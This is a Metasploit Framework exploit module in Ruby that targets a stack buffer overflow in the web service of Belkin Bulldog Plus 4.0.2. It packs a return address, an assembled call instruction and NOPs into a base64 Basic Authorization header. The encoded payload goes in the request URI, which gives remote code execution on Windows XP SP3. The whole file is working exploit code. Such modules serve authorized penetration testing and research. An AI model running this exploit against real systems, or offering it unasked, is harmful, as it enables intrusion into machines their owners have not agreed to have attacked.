metasploit-framework/modules/exploits/windows/http/belkin_bulldog.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Belkin Bulldog Plus Web Service Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Belkin Bulldog Plus
4.0.2 build 1219. When sending a specially crafted http request,
an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '54395' ],
[ 'BID', '34033' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 8 2009'))
end
def exploit
c = connect
dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword [esp+58h]").encode_string
filler = [target.ret].pack('V') + dwerd + make_nops(28)
print_status("Trying target #{target.name}...")
send_request_raw({
'uri' => payload.encoded,
'version' => '1.1',
'method' => 'GET',
'headers' =>
{
'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"
}
}, 5)
handler
end
end